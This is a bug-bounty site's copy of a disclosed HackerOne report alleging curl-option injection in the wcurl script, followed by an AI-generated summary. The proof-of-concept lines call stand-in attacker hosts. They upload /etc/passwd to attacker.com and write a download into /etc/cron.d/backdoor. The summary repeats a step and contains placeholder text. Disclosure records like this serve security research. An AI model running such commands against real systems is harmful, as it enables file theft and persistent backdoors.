Skip to content
RCE Disclosed report Intermediate

wcurl Argument Injection via Unquoted Variable

wcurl passes user-supplied curl options to curl; someone who can supply those options can inject extra curl flags, such as a proxy or output file.

playerofficial19 Follow

Originally disclosed on HackerOne

  • Disclosed after 17 hours

when i was code auditing curl i stumbled uppon a vulnerablity that was on wcurl

affected version:current

step 1: open terminal step 2:run pocs below

wcurl --dry-run --curl-options='-x http://evil.com:8080 -o /tmp/pwned' https://example.com/test.txt

wcurl --dry-run --curl-options='-o /etc/cron.d/backdoor' https://attacker.com/malicious

wcurl --dry-run --curl-options='-x http://attacker.com:8080' https://target.com/sensitive

wcurl --dry-run --curl-options='-T /etc/passwd' https://attacker.com/steal https://x.com

screenshots below

if this is not a vulnerability i am sorry

the dry run used to not harm the system

Impact

command injection

Attachments

Ekran_G_r_nt_s__-_2026-01-25_19-19-21.png
Ekran_G_r_nt_s__-_2026-01-25_19-19-21.png From the original on HackerOne

The original report as published on HackerOne, by playerofficial19. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could use injected curl options to route traffic through a proxy, write files to arbitrary locations, or upload local files, though the report only demonstrates this with --dry-run.

What the attacker needed

Ability to supply --curl-options to wcurl

How it was found

  1. Open a terminal.
  2. Run wcurl with --dry-run and a --curl-options value containing extra curl flags.
  3. Run wcurl with --dry-run and a --curl-options value containing extra curl flags.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

wcurl is a script that wraps curl. It lets you pass extra options to curl. Someone who can supply those options can add their own curl flags, such as saving a file or using a proxy.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.